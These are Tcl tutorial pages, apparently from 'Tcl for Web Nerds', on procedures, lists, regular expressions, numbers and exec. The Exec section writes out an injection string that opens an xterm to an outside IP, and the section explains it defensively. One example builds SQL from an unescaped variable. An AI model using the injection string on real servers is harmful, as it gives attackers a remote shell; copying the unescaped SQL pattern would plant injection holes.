% set YearsToExpectedDeath [expr {80-$Myage}]
can't read "Myage": no such variable
% 

Procedures 

One of the keys to making a large software system reliable and maintainable is procedural abstraction. The idea is to take a complex operation and encapsulate it into a function that other programmers can call without worrying about how it works.

To define a procedures in Tcl use the following syntax:

proc name { list_of_arguments } {
   body_expressions
}

This creates a procedure with the name "name." Tcl has a global environment for procedure names, i.e., there can be only one procedure called "foobar" in a Tcl system.

The next part of the syntax is the set of arguments, delimited by a set of curly braces. Each argument value is then mapped into the procedure body, which is also delimited by curly braces. As before, each statement of the procedure body can be separated by a semi-colon or a newline (or both). Here's an example, taken from the calendar widget component of the ArsDigita Community System:

proc calendar_convert_julian_to_ansi { date } {
    set db [ns_db gethandle subquery]
    # make Oracle do all the real work
    set output [database_to_tcl_string $db \ 
        "select trunc(to_date('$date', 'J')) from dual"]
    ns_db releasehandle $db
    return $output
}

As  you can see the variable "date" is set in the context of the procedure so you can address the value with "$date".

Here's the factorial procedure in Tcl:

% #this is good old recursive factorial
% proc factorial {number} {
    if { $number == 0 } {
	return 1
    } else {                 
	return [expr {$number * [factorial [expr {$number - 1}]]}]
    }
}
% factorial 10
3628800

As the example illustrates, we can use the standard base-case-plus-recursion programming style in Tcl. Our factorial procedure checks to see if the number is 0 (the base case). If so, it returns 1. Otherwise, it computes factorial of the number minus 1 and returns the result multiplied by the number. The # character signals a comment.

Examine the following example:

% set checking_account_balance [expr {25 + 34 + 86}]
145
% puts "\nYour checking balance is \$$checking_account_balance.
If you're so smart, why aren't you rich like Bill Gates?
He probably has \$[factorial $checking_account_balance] by now."


Your checking balance is $145.
If you're so smart, why aren't you rich like Bill Gates?
He probably has $0 by now.

• The "\n" at the beginning of the quoted string argument to puts resulted in an extra newline in front of the output.
• The newline after balance. did not terminate the puts command. The string quotes group all three lines together into a single argument.
• The [factorial... ] procedure call was evaluated but resulted in an output of 0. This isn't a bug in the evaluation of quoted strings, but rather a limitation of the Tcl language itself:

  % factorial 145
  0

 Exercises

# I :: alpha -> alpha
proc I {x} {...}

I 12
=> 12
I foo
=> foo
I {string length abracadabra}
=> {string length abracadabra}

Why is this a useful function?

Answer

# K :: alpha beta -> alpha
proc K {x y} {...}

K 0 456
=> 0
K foo 1
=> foo

Why is this a useful function?

Answer

---

based on Tcl for Web Nerds 

List Operations

Created by Anett Szabo, last modified by Anett Szabo 24 Jul 2007, at 01:19 PM

% # create an empty list using the list command  
% set user_preferences [list]
% # verify that we've created a 0-item list
% llength $user_preferences
0
% lappend user_preferences "hiking"
hiking
% lappend user_preferences "biking"
hiking biking
% lappend user_preferences "whale watching"
hiking biking {whale watching}
% llength $user_preferences
3

% lindex $user_preferences 0
hiking
% lindex $user_preferences 1
biking
% lindex $user_preferences 2
whale watching
% lindex $user_preferences 3
% lindex $user_preferences 5

Note, that  lindex list 0  gives the first element of the list! (Indexing is 0-based and lindex will return the empty string rather than an error if you supply an out-of-range index.)

When producing a page for a user, we'd be more likely to be interested in searching the list. The command lsearch returns the index of the list element matching a query argument or -1 if unsuccessful:

if { [lsearch -exact $user_preferences "hiking"] != -1 } {
    # look for new articles related to hiking 
}

Concat

Suppose that User A marries User B. You want to combine their preferences into a household_preferences variable using the concat command:

% # use the multiple-argument form of list to create an N-element
% # list with one procedure call
% set spouse_preferences [list "programming" "computer games" "slashdot"]
programming {computer games} slashdot
% set household_preferences [concat $user_preferences $spouse_preferences]
hiking biking {whale watching} programming {computer games} slashdot
% llength $household_preferences
6

Split and Join

Suppose we have a file called addressees.txt with information about people, one person to a line. Suppose each of these lines contains, among other information, an email address which we assume we can recognize by the presence of an at-sign (@). The following program extracts all the email addresses and joins them together, separated by commas and spaces, to form a string called spam_address that we can use as the Bcc: field of an email message, to spam them all:

# open the file for reading
set addressees_stream [open "~/addressees.txt" r]

# read entire file into a variable
set contents_of_file [read $addressees_stream] 

close $addressees_stream

# split the contents on newlines
set list_of_lines [split $contents_of_file "\n"]

# loop through the lines 
foreach line $list_of_lines {
    if { [regexp {([^ ]*@[^ ]*)} $line one_address] } {
        lappend all_addresses $one_address
    }
}

# use the join command to mush the list together
set bcc_line_for_mailer [join $all_addresses ", "]

• We've used the foreach operator (see the chapter on control structure) to iterate over the list formed by splitting the file at newline characters.
• We use pattern matching to extract the email address from each line. The pattern here specifies "stuff that doesn't contain a space, followed by at-sign, followed by stuff that doesn't contain a space." (See the explanation of regexp in the chapter on pattern matching.)
• The iteration keeps lappending to all_addresses, but this variable is never initialized. lappend treats an unbound list variable the same as an empty list.

Reference: List operations

• list arg1 arg2 ...
  Construct and return a list the arguments. Akin to (list arg1 arg2...) in Scheme.

  set foo [list 1 2 [list 3 4 5]] ==> 1 2 {3 4 5}

  or   

  set foo {1 2 {3 4 5}}==> 1 2 {3 4 5}

• lset varName ?index...? newValue
Gives you the opportunity to insert elements at a given position and work with positions within a list in general.

. 

• lindex list i
  Returns the ith element from list; starts at index 0.
  
  

  llength $foo ==> 1

  
  

• llength list
  Returns the number of elements in list.

  llength $foo ==> 3

  
  

• lrange list i j
  Returns the ith through jth elements from list.

  lrange $foo 1 2 ==> 2 {3 4 5}

  
  

• lappend listVar arg arg...
  Append elements to the value of listVar and reset listVar to the new list. Please note that listVar is the name of a variable and not the value, i.e., you should not put a $ in front of it (the same way that set works.

  lappend foo [list 6 7] ==> 1 2 {3 4 5} {6 7}
  set foo ==> 1 2 {3 4 5} {6 7}

  
  

• linsert list index arg arg...
  Insert elements into list before the element at position index. Returns a new list.

  linsert $foo 0 0  ==> 0 1 2 {3 4 5} {6 7}
  

• lreplace list i j arg arg...
  Replace elements i through j of list with the args. Returns a new list and leaves the original list unmodified.

  lreplace $foo 3 4 3 4 5 6 7 ==> 0 1 2 3 4 5 6 7
  set foo ==> 1 2 {3 4 5} {6 7}
  

• lsearch mode list value
  Return the index of the element in list that matches the value according to the mode, which is -exact, -glob, or -regexp. -glob is the default. Return -1 if not found.

  set community_colleges [list "caltech" "cmu" "rpi"]
  lsearch -exact $community_colleges "caltech" ==> 0
  lsearch -exact $community_colleges "harvard" ==> -1

  
  

• lsort switches list
  Sort elements of the list according to the switches: -ascii, -integer, -real, -increasing, -decreasing, -command command. Returns a new list.

  set my_friends [list "herschel" "schlomo" "mendel"]
  set my_sorted_friends [lsort -decreasing $my_friends] ==> schlomo mendel herschel 
  

• concat arg arg...
  Join multiple lists together into one list.

  set my_wifes_friends [list "biff" "christine" "clarissa"]
  concat $my_wifes_friends $my_friends ==> biff christine clarissa herschel schlomo mendel

  
  

• join list joinString
  Merge the elements of list to produce a string, where the original list elements are separated by joinString. Returns the resulting string. Note:  if you want to merge without separating the elements, just put "" . 

  set foo_string [join $foo ":"] ==> 0:1:2:3:4:5:6:7

  
  

• split string splitChars
  Split a string to produce a list, using (and discarding) the characters in splitChars as the places where to split. Returns the resulting list.

  set my_ip_address 18.1.2.3 ==> 18.1.2.3
  set ip_elements [split $my_ip_address "."] ==> four element list,
  with values 18 1 2 3
  

 Exercises

 1. Write the iota function, which takes a numeric argument n and returns a list of numbers of length n which are the numbers from 0 to n-1.

# iota :: num -> [num]
proc iota {n} {...}

Examples:

iota 3
=> 0 1 2
iota 20
=> 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

Answer

 2. Write the function incrlist, which takes one argument, a list of numbers, and returns a list of equal length as a result, in which each element is the successor to the corresponding element of the argument list.

# incrlist :: [num] -> [num]
proc incrlist {L} {...}
incrlist {34 987 1 567 -23 8}
=> 35 988 2 568 -22 9
incrlist [iota 12]
=> 1 2 3 4 5 6 7 8 9 10 11 12

Hint: Arithmetic is not done directly by the Tcl interpreter. It is done by calling the C library using the expr command on arthmetic expressions.

Does your function work for the empty list?

Answer

 3. Write the function strlenlist, which takes one argument, a list of strings, and returns a list of equal length as a result, in which each element is the string length of the corresponding element of the argument list.

# strlenlist :: [str] -> [num]
proc strlenlist {L} {...}
strlenlist {34 987 1 567 -23 8}
=> 2 3 1 3 3 1
strlenlist {foo bar antidisestablishmentarianism}
=> 3 3 28

Does your function work for the empty list? 

Answer

 4. Write sumlist, which takes one argument, a list of numbers, and returns, as result, a single number: the sum of the numbers in the argument list.

# sumlist :: [num] -> num
proc sumlist {L} {...}
sumlist [iota 3]
=> 3
sumlist {34 987 1 567 -23 8}
=> 1574

Answer

 5. Write multlist, which takes one argument, a list of numbers, and returns, as result, a single number: the product of the numbers in the argument list.

# multlist :: [num] -> num
proc multlist {L} {...}
multlist [iota 3]
=> 0
multlist [incrlist [iota 3]]
=> 3
multlist {34 987 1 567 -23 8}
=> 793928272

Answer

 6. Write catlist, which takes one argument, a list of strings, and returns, as result, a single string: the concatenation of the strings in the argument list.

# catlist :: [str] -> str
proc catlist {L} {...}
catlist [iota 3]
=> 012
catlist [incrlist [iota 3]]
=> 123
list {foo bar antidisestablishmentarianism}
=> foobarantidisestablishmentarianism

Answer

Data abstraction with lists

The Tcl shell's output is giving you an ugly insight into the internal representation of lists as strings, with elements being separated by spaces and grouped with braces. There is no reason to rely on how Tcl represents lists or even think about it. Practice data abstraction by using Tcl lists as your underlying storage mechanism but define constructor and accessor procedures that the rest of your source code invokes. You won't find a huge amount of this being done in Web development because the really important data structures tend to be RDBMS tables, but here's an example of how it might work, taken from http://photo.net/philg/careers/four-random-people.tcl. We're building a list of lists. Each sublist contains all the information on a single historical figure. Method A is quick and dirty:

set einstein [list "A. Einstein" "Patent Office Clerk" "Formulated Theory of Relativity."]

set mill [list "John Stuart Mill" "English Youth" "Was able to read Greek and Latin at age 3."]

# let's build the big list of lists
set average_folks [list $einstein $mill ...]

# let's pull out Einstein's title 
set einsteins_title [lindex $einstein 1]

Method B uses data abstraction:

proc define_person {name title accomplishment} {
    return [list $name $title $accomplishment]
}

proc person_name {person} {
    return [lindex $person 0]
}

proc person_title {person} {
    return [lindex $person 1]
}

proc person_accomplishment {person} {
    return [lindex $person 2]
}

% set einstein [define_person "A. Einstein" "Patent Office Clerk" "Formulated Theory of Relativity."]
{A. Einstein} {Patent Office Clerk} {Formulated Theory of Relativity.}
% set einsteins_title [person_title $einstein]
Patent Office Clerk

Data abstraction will make building and maintaining a large system much easier. As noted above, however, the stateless nature of HTTP means that any information you want kept around from page to page must be kept by the RDBMS. SQL already forces you to refer to data by table name and column name rather than positionally.

---

based on Tcl for Web Nerds 

Pattern matching

Created by Anett Szabo, last modified by Anett Szabo 24 Jul 2007, at 11:56 AM

Pattern matching is important across a wide variety of Web programming tasks but most notably when looking for exceptions in user-entered data and when trying to parse information out of non-cooperating Web sites.

Tcl's pattern matching facilities test whether a given string matches a specified pattern. Patterns are described using a syntax known as regular expressions. For example, the pattern expression consisting of a single period matches any character. The pattern a..a matches any four-character string whose first and last characters are both a.

The regexp command takes a pattern, a string, and an optional match variable. It tests whether the string matches the pattern, returns 1 if there is a match and zero otherwise, and sets the match variable to the part of the string that matched the pattern:

% set something candelabra
candelabra

% regexp a..a $something match
1

% set match
abra

% set something candelabra
candelabra

% regexp a(.*)a $something match
1

% set match
andelabra

% set simple_case "Normal folks might say <i>et cetera</i>"
Normal folks might say <i>et cetera</i>
% regexp {<i>(.+)</i>} $simple_case match italicized_phrase
1

% set italicized_phrase
et cetera

% set some_html "Pedants say <i>sui generis</i> and <i>ipso facto</i>"
Pedants say <i>sui generis</i> and <i>ipso facto</i>
% regexp {<i>(.+)</i>} $some_html match italicized_phrase
1

% set italicized_phrase
sui generis</i> and <i>ipso facto

Lisp systems in the 1970s included elegant ways of returning all possibilities when there were multiple matches for an expression. Java libraries, Perl, and Tcl demonstrate the progress of the field of computer science by ignoring these superior systems of decades past.

Matching Cookies From the Browser

A common problem in Web development is pulling information out of cookies that come from the client. The cookie spec at http://home.netscape.com/newsref/std/cookie_spec.html mandates that multiple cookies be separated by semicolons. So you look for "the cookie name that you've been using" followed by an equals sign and them slurp up anything that follows that isn't a semicolon. Here is how the ArsDigita Community System looks for the value of the last_visit cookie:

regexp {last_visit=([^;]+)} $cookie match last_visit

• [A-Z] would match any uppercase character
• [ABC] would match any of first three characters in the alphabet (uppercase only)
• [^ABC] would match any character other than the first three uppercase characters in the alphabet, i.e., the ^ reverses the sense of the brackets

If successful, the regexp command above will set the match variable with the complete matching string, starting from "last_visit=". Our code doesn't make any use of this variable but only looks at the subvar last_visit that would also have been set.

Pages that use this cookie expect an integer and this code failed in one case where a user edited his cookies file and corrupted it so that his browser was sending several thousands bytes of garbage after the "last_visit=". A better approach might have been to limit the match to digits:

regexp {last_visit=([0-9]+)} $cookie match last_visit

Matching Into Multiple Variables

More generally regexp allows multiple pattern variables. The pattern variables after the first are set to the substrings that matched the subpatterns. Here is an example of matching a credit card expiration date entered by a user:

% set date_typed_by_user "06/02"
06/02

% regexp {([0-9][0-9])/([0-9][0-9])} $date_typed_by_user match month year
1

% set month
06

% set year
02
% 

Full Syntax

The most general form of regexp includes optional flags as well as multiple match variables:

regexp [flags] pattern data matched_result var1 var2 ...

• -nocase
  uppercase characters in the data are bashed down to lower for case-insensitive matching (make sure that your pattern is all lowercase!)
• -indices
  the returned values of the regexp contain the indices delimiting the matched substring, rather than the strings themselves.
• If your pattern begins with a -, put a -- flag at the end of your flags

• .
  matches any character.
• *
  matches zero or more instances of the previous pattern item.
• +
  matches one or more instances of the previous pattern item.
• ?
  matches zero or one instances of the previous pattern item.
• |
  disjunction, e.g., (a|b) matches an a or a b
• ( )
  groups a sub-pattern.
• [ ]
  delimits a set of characters. ASCII Ranges are specified using hyphens, e.g., [A-z] matches any character from uppercase A through lowercase z (i.e., any alphabetic character). If the first character in the set is ^, this complements the set, e.g., [^A-z] matches any non-alphabetic character.
• ^
  Matches only when the pattern appears at the beginning of the string. The ^ must appear at the beginning of the pattern expression.
• $
  Matches only when the pattern appears at the end of the string. The $ must appear last in the pattern expression.

More: http://www.tcl.tk/man/tcl8.4/TclCmd/regexp.htm

Matching with substitution

It's common in Web programming to create strings by substitution. Tcl's regsub command performs substitution based on a pattern:

regsub [flags] pattern data replacements var

The flag -all specifies that every occurrence of the pattern should be replaced. Otherwise only the first occurrence is replaced. Other flags include -nocase and -- as with regexp

Here's an example from the banner ideas module of the ArsDigita Community System (see http://photo.net/doc/bannerideas.html). The goal is that each banner idea contain a linked thumbnail image. To facilitate cutting and pasting of the image html, we don't require that the publisher include uniform subtags within the IMG. However, we use regexp to clean up:

# turn "<img align=right hspace=5" into "<img align=left border=0 hspace=8"
regsub -nocase {align=[^ ]+} $picture_html "" without_align
regsub -nocase {hspace=[^ ]+} $without_align "" without_hspace
regsub -nocase {<img} $without_hspace {<img align=left border=0 hspace=8} final_photo_html

In the example above, <replacements> specified the literal characters ''. Other replacement directives include:

• & inserts the string that matched the pattern
• The backslashed numbers \1 through \9 inserts the strings that matched the corresponding sub-patterns in the pattern.

% proc extract_comment_text {html} {
    regsub -all {<!--([^-]*)-->} $html {(\1)} with_exposed_comments
    return $with_exposed_comments
}

% extract_comment_text {<!--insert the price below-->
We give the same low price to everyone: $219.99
<!--make sure to query out discount if this is one of our big customers-->}
(insert the price below)
We give the same low price to everyone: $219.99
(make sure to query out discount if this is one of our big customers)

More: http://www.tcl.tk/man/tcl8.4/TclCmd/regsub.htm

String match

Tcl provides an alternative matching mechanism that is simpler for users to understand than regular expressions. The Tcl command string match uses "GLOB-style" matching. Here is the syntax:

string match pattern data

% regexp "foo" "foobar"
1

% string match "foo" "foobar"
0

% # here's what we need to do to make the string match 
% # work like the regexp
% string match "*foo*" foobar
1

string match {*[0-9]*} $text

returns 1 if text contains at least one digit and 0 otherwise.

More: http://www.tcl.tk/man/tcl8.4/TclCmd/string.htm

Exercises

1. 

• Write a procedure which takes a string and makes sure that the result contains an "@" sign
• Extend the procedure to make sure that only letters, numbers are allowed before the "@" sign
• Extend the procedure to check that after the @ sign comes a valid domain (hint, look at 2.) A valid domain contains of at least one "." and only letters after the last ".". so malte.cognovis.de is a valid domain, cognovis.d1e is not.
  
• Extend the procedure to return "Welcome foo, member of bar.com" if the string is "foo@bar.com"
• Extend the procedure to return "Welcome OpenACS member foo" if the string is like "foo@openacs.org" meaning, the e-mail ends with openacs.org
• Check against the valid domain again. This time make use of the ad_locales table installed in your local copy of OpenACS. To make this work you will have to use the OpenACS Shell.
• Get a list of all countries from the table ad_locales. Choose the language column for this. The command to extract this is "db_list".
• If your list contains the language "ca" more than once, make sure to limit it to one "ca" only. Make sure this works for others as well.
  
• As ".com" ".org" and ".net" are also valid domain ending append them to the list.
• Make sure that the domain ends on any language defined in your list you created. So automotive.ca works but automotive.eu does not (and yes, I know that .eu is now a valid domain :-)).

Answer

2.

1. Search at amazon.com for your favorite book. Copy the URL until you see the "/ref..." part, e.g. http://www.amazon.com/4-Hour-Workweek-Escape-Live-Anywhere/dp/0307353133
   
2. In the OpenACS shell use "ad_httpget" to retrieve the URL you copied. Look at the api doc for the syntax.
3. Use regexp to find the price of the book in the html source returned to you by ad_httpget
4. Return the price of the book.
   

Answer

---

based on Tcl for Web Nerds 

Numbers

Created by Anett Szabo, last modified by Anett Szabo 11 Jul 2007, at 04:47 PM

Here are some examples:

# integer division truncates
% expr {7 / 2}
3

# the percent sign is used to compute integer remainder
% expr {7 % 2} 
1

# floating point propagates
% expr {7.0 / 2}
3.5

% expr {sin(.5) + cos(.9)}
1.10103550687

% # a zero in front of number means to interpret as octal
% expr {017 + 01}
16

% # a 0x in front means to interpret as hex
% expr {0xA + 1}
11

% # numbers can be treated like strings!
% string length 100.34
6
% string range 100.34 0 2
100

More: http://www.tcl.tk/man/tcl8.4/TclCmd/expr.htm

Reference

• abs(x)
• asin(x)
• acos(x)
• atan(x)
• atan2(y,x)
  atan2 returns the angle theta of the polar coordinates returned when (x,y) is converted to (r, theta).
• ceil(x)
• cos(x)
• cosh(x)
• double(x)
  returns x as a double or floating point.
• exp(x)
  returns e^x
• floor(x)
• fmod(x,y)
  returns the floating point remainder of x/y.
• hypot(x,y)
  returns the square root of the sum of x squared plus y squared, the length of the line from (0,0) to (x,y).
• int(x)
  truncates x to an integer.
• log(x)
  returns the natural log of x.
• log10(x)
  returns log base 10 of x.
• pow(x,y)
  returns x to the y power.
• rand() 
• round(x)
• sin(x)
• sinh(x)
• sqrt(x)
• tan(x)
• tanh(x)
• wide(x)

---

based on Tcl for Web Nerds 

Exec

Created by Anett Szabo, last modified by Anett Szabo 11 Jul 2007, at 04:29 PM

Let's cover the convenience part first. If we want to have a Web page that displays how long the server has been up and the current load average, the exec command is helpful:

% exec /usr/bin/uptime
  4:04pm  up 29 days,  4:32,  3 users,  load average: 0.61, 0.66, 0.63

ns_return 200 text/plain [exec /usr/bin/uptime]

# see how much disk space a user is consuming
set disk_usage [exec du -k $data_path]

# find out how large an uploaded image is (X-Y pixel size)
# by invoking the ImageMagick command "identify"
set identify_str [exec /usr/local/bin/identify -verbose $filename]
regexp {geometry: ([0-9]*)x([0-9]*)} $identify_str match image_x image_y

# create a thumbnail-sized image using the ImageMagick command "convert"
set result_status [exec /usr/local/bin/convert $filename -geometry $size_sm -quality 75 $filename_sm]

# remove a directory of user-uploaded images
if [catch { exec rm -f $path } errmsg] ...

The Dangerous Part

Scripting languages like Perl or Tcl are convenient for Web development but it is possible to write a script that takes user-supplied input and evaluates it. With Tcl, you run the risk that a user will upload a string containing "[exec /usr/openwin/bin/xterm -display 18.30.0.1]". Because of the [] characters, if this string is ever fed to eval or subst a cracker would have a shell on your Web server.

If you don't need to use exec an easy solution to the problem is to redefine it:

% proc exec args { return "happy happy joy joy" }
% exec cat /etc/passwd
happy happy joy joy

If you do need to use exec, at least make sure that your Web server is running as an unprivileged user with limited authority to execute Unix programs. Depending on your publishing requirements and choice of Web server, it may be possible to run the Web server in a chroot() environment (this is very easy with AOLserver 3.0). This changes the root directory as far as the Web server is concerned. Thus a Tcl program running within the Web server will not be able to even look at files or programs elsewhere on the computer.

If you decide to run chrooted, you will have to copy any programs that you actually do need to exec so that they are underneath the Web server's root directory.

More: http://www.tcl.tk/man/tcl8.4/TclCmd/exec.htm

This is the last of the main Tcl topics. For more information, check out aolserver.com and the books referenced in this book.

---

based on Tcl for Web Nerds